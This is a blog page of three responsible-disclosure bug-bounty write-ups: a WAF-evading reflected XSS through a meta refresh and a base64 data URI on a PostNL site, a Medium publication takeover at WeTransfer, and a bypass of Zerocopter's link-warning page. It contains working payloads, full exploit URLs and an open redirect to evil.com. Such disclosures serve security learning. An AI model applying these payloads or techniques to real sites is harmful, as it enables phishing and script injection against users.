Categories
Bug Bounty

XSS bypass using META tag in realestate.postnl.nl

Hi readers,
Today I will write about a XSS Vulnerability I reported to the postnl.nl bug bounty Program.

Reflected XSS

A reflected XSS (or also called a non-persistent XSS attack) is a specific type of XSS whose malicious script bounces off of another website to the victim’s browser. It is passed in the query, typically, in the URL. It makes exploitation as easy as tricking a user to click on a link.

Vulnerable Endpoint: http://realestate.postnl.nl/?Lang=

To test a normal Reflected XSS I Input "><xsstest> in the Lang parameter and in source it was reflected properly inside META tag like below :-

<meta name="language" content=""><xsstest>" />

Looks simple right ? Then wait a little :’) . Then I Inputted "><img src=x> and I got:

Forbidden Error WAF postnl
Forbidden Error WAF postnl

I tried with many HTML tags and I got 2 points here:

  • Any Valid HTML tag is not allowed.
  • I can create any attributes here.

So I googled for meta tag attributes and got:

meta tag attributes
meta tag attributes

The http-equiv attribute took my attention. Now I again google more about it and learned that "META tag has the http-equiv directive. This directive allows you to define the equivalent of an HTTP header in the HTML code. The http-equiv directive can take a value of refresh, which can be used to redirect a user to another page."

Then I input 0;http://evil.com"HTTP-EQUIV="refresh" and response was

<meta name="language" content="0;http://evil.com"HTTP-EQUIV="refresh"" />

And I got redirected to evil.com. So I have open redirection now. Now we can try for Data URI XSS. So I input 0;javascript:alert(1)"HTTP-EQUIV="refresh" and response was

Forbidden Error WAF postnl
Forbidden Error WAF postnl

This was again Triaged for the keyword javascript used in payload. So I used Base64 encoded payload 0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh" and response source was

<meta name="language" content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh"" />

And now when I visit http://realestate.postnl.nl/?Lang=0%3Bdata%3Atext%2fhtml%3Bbase64%2CPHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg%3D%3D%22HTTP-EQUIV%3D%22refresh%22 I got XSS popup

XSS Popup in different origin from postnl
XSS Popup in different origin from postnl

I reported it to their Zerocopter report form. Then they deployed a Fix by blacklisting the data:text/html;base64 keyword like they have blacklisted JavaScript keyword

After the fix still I can do Open Redirect when a user visits: http://realestate.postnl.nl/?Lang=0%3Bhttp%3A%2f%2fevil.com%22HTTP-EQUIV%3D%22refresh%22 and confirmed with them again

PostNL open redirect
PostNL open redirect

They again Fixed the issue and listed My name on their Hall Of Fame page & also offered to send some goodies 😍

Goodies offer from PostNL
Goodies offer from PostNL

Thanks for reading.If you have any query ask me on Facebook

Categories
Bug Bounty

Unclaimed Medium Publication takeover in WeTransfer

Today I will share a Security issue I found on WeTransfer. WeTransfer has a paid bug-bounty program under Zerocopter. So I start testing their sites. While I was brute-forcing wetransfer.com with DIRB script I got some directories what was redirecting users to the Medium Publication link. Those directories look like

    https://wetransfer.com/blogger (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransferger')
    https://wetransfer.com/bloggers (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransfergers')
    https://wetransfer.com/blogindex (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransferindex')
    https://wetransfer.com/blogs (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransfers’)
    https://wetransfer.com/blogspot (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransferspot')
    https://wetransfer.com/blog_ajax (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransfer_ajax')
    https://wetransfer.com/blog_inlinemod (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransfer_inlinemod')
    https://wetransfer.com/blog_report (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransfer_report')
    https://wetransfer.com/blog_search (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransfer_search')
    https://wetransfer.com/blog_usercp (CODE:301|SIZE:0)
    (Location: ‘https://medium.com/wetransfer_usercp')

Now When I visited the location link https://medium.com/wetransferger I got error like below screenshot

404 error on medium
404 error on medium

Now I go to https://medium.com/me/publications and Created a new publication using the same name wetransferger and I got the publication link under My control and was able to place anything on the publication like the below screenshot

Publication Takeover P0C By Prial
Publication Takeover P0C By Prial

Now whenever a User will visit https://wetransfer.com/blogger it will take the user to my Medium Publication. I was able to claim 5 Unclaimed Publications. All others were not exploitable as they used _(Underscore) in the medium link and in medium _(Underscore) is not allowed as a Publication link.I reported this issue to WeTransfer Bug Bounty Program and they rewarded me with 100 Euro + 1year WeTransfer Plus Account.

wetreansfers response
wetreansfers response

Conclusion: If you are using medium publications link with your site make sure it’s valid and claimed by you.

Thanks For Reading.

Categories
Bug Bounty

External link warning page bypass in Zerocopter

Description:

zerocopter.com is a bug bounty platform for Ethical hackers just like Hackerone. In Zerocopter reports, users can use Markdown. Users are also allowed to give external links in reports. If a user clicks on the External link in reports then it takes the user to an external warning page like the below screenshot

Zerocopter external warning page
Zerocopter external warning page

But I was able to bypass the external warning page and redirect a user to an external link without any warning page by using Markdown

<http:1249723505> 
[Click Me](http:1249723505)

Note: In the above markdown 1249723505 this is the IP of google.com [ 74.125.68.113 ] converted into Long/Decimalusing this tool.

Reproduce
  • In a report I used [Click Me](http://google.com)</code> this markdown and the response was :
    <a href="/external_redirect?href=http%3A%2F%2Fgoogle.com" rel="noreferrer" target="_blank" title="">Click Me</a>
  • Then I used [Click Me](http://74.125.68.113) this markdown and the response was
    <a href="/external_redirect?href=http%3A%2F%2F74.125.68.113" rel="noreferrer" target="_blank" title="">Click Me</a>
  • Then I thought let’s mess up with the Protocol and changed the markdown to [Click Me](http:/google.com) and still no bypass.
  • Then I was about to use [Click Me](http:google.com) but I accidentally used [Click Me](http:google) where I forgot to give .com TLD at last in domain name in the markdown and I noticed a hope in response
    <a href="http%3Agoogle" rel="noreferrer" target="_blank" title="">Click Me</a>
  • By analyzing the behavior I got that if I use a domain name like http:google then I can bypass the external warning page. Then I remembered the IP Long/Decimal encode.
    So I used this tool to encode google.com IP to Long/Decimal** and the final markdown become [Click Me](http:1249723505) and bingo 😎

    <a href="http%3A1249723505" rel="noreferrer" target="_blank" title="">Click Me</a>
  • Now when a user will click on the link it will take the user directly to google.com instead of the external warning page. Then I reported this to Zerocopter on their responsible disclosure page and they fixed it and send me a Cool T-shirt and stickers as a reward.
Cool T-shirt and stickers as reward
Cool T-shirt and stickers as reward

Thanks for reading. Hope this will be helpful for you guys.